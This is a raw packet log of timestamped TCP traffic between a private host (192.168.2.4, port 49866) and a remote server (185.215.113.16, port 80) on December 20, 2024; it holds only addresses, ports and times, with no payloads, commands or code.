Dec 20, 2024 11:12:48.729908943 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.730586052 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.730644941 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.730719090 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.730763912 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.731703997 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.731755018 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.731825113 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.731903076 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.732701063 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.732815981 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.733001947 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.733047009 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.733802080 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.733891010 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.733894110 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.733956099 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.734843016 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.734899044 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.734966993 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.735009909 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.735976934 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.736031055 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.736083984 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.736128092 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.737041950 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.737092972 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.737157106 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.737258911 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.737993002 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.738043070 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.738123894 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.738327026 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.739073992 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.739202976 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.739284992 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.739337921 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.740166903 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.740216970 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.740257025 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.740394115 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.741250038 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.741323948 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.741380930 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.741426945 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.742263079 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.742309093 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.742360115 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.742415905 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.743359089 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.743449926 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.743467093 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.743511915 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.744527102 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.744592905 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.744627953 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.744671106 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.745497942 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.745562077 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.745595932 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.745733023 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.746551037 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.746615887 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.746704102 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.746752024 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.747587919 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.747638941 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.747719049 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.748655081 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.748712063 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.884834051 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.884891033 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.884917974 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.884994984 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.885307074 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.885315895 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.885375977 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.886127949 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.886194944 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.886295080 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.886352062 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.887167931 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.887286901 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.887290955 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.887351990 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.888448000 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.888536930 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.888623953 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.888896942 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.889307976 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.889380932 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.889403105 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.889533997 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.890364885 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.890427113 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.890536070 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.890674114 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.891422987 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.891505957 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.891554117 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.891956091 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.892468929 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.892535925 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.892577887 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.892646074 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.893518925 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.893652916 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.893681049 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.893790960 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.894613981 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.894726038 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.894782066 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.894810915 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.895698071 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.895750046 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.895793915 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.895860910 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.896739960 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.896806955 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.896836042 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.896897078 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.897798061 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.897851944 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.897895098 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.897948027 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.899038076 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.899070024 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.899113894 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.899144888 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.899914980 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.900051117 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.900118113 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.901031971 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.901143074 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.901199102 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.902033091 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.902137995 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.902219057 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.903151035 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.903244019 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.903254032 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.903336048 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.904185057 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.904301882 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.904303074 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.904390097 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.905268908 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.905308008 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.905385971 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.906328917 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.906430960 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.906498909 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.907373905 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.907490969 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.907555103 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.908482075 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.908549070 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.908590078 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.909240007 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.909548998 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.909603119 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.909681082 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.909739971 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.910608053 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.910710096 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.910739899 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.910753012 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.911685944 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.911747932 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.911783934 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.911957979 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.912736893 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.912863016 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.912918091 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.913877964 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.913935900 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.913943052 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.914062977 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.914845943 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.914904118 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.914948940 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.915004969 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.915914059 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.916043997 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.916127920 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.917012930 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.917056084 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.917066097 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.917102098 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.918056011 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.918169975 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.918169975 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.918271065 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.919187069 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.919197083 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.919260025 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.920186043 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.920275927 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.920337915 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.921272993 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.921344995 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.921515942 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.921585083 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.922318935 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.922368050 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.922391891 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.922440052 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.923386097 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.923437119 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.923485994 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.924477100 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.924570084 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.924618959 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.924665928 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.925512075 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.925652027 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.925724983 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.926593065 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.926702976 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.926778078 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.927649021 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.927776098 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.927848101 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.928709984 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.928826094 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.928890944 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.929833889 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.929965973 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.930006981 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.930042982 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.930891037 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.930967093 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.931015015 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.931200981 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.931921005 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.932046890 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.932115078 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.932976961 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.933070898 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.933109045 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.933155060 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.934070110 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.934180021 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.934256077 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.935122013 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.935226917 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.935276031 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.936187983 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.936291933 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.936333895 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.937271118 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.937382936 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.937412977 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.937459946 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.938335896 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.938400030 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.938442945 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.938503027 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.939384937 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.939498901 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.939533949 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.939565897 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:48.940433025 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:48.940562963 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.077327967 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.077389956 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.077472925 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.077661991 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.077792883 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.078674078 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.078982115 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.079058886 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.079179049 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.080147028 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.080204964 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.080284119 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.081214905 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.081250906 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.081321001 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.081367970 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.081623077 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.082535982 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.082643032 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.082717896 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.083410025 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.083467007 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.083528996 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.084412098 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.084543943 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.084573984 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.084604025 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.085478067 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.085601091 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.085663080 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.085913897 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.086549997 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.086668968 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.086929083 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.087632895 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.087719917 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.087835073 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.088668108 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.088814974 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.089772940 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.089848042 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.089859009 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.089946032 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.090804100 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.090858936 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.090908051 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.090965033 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.091887951 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.091960907 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.092175007 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.092943907 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.093002081 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.093053102 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.093135118 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.094058037 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.094152927 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.094212055 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.095068932 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.095208883 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.095714092 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.096189022 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.096286058 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.097230911 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.097269058 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.097311974 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.097395897 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.098304033 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.098468065 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.098567009 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.098766088 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.099344015 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.099404097 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.099473000 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.099775076 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:49.100413084 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:49.100513935 CET	80	49866	185.215.113.16	192.168.2.4
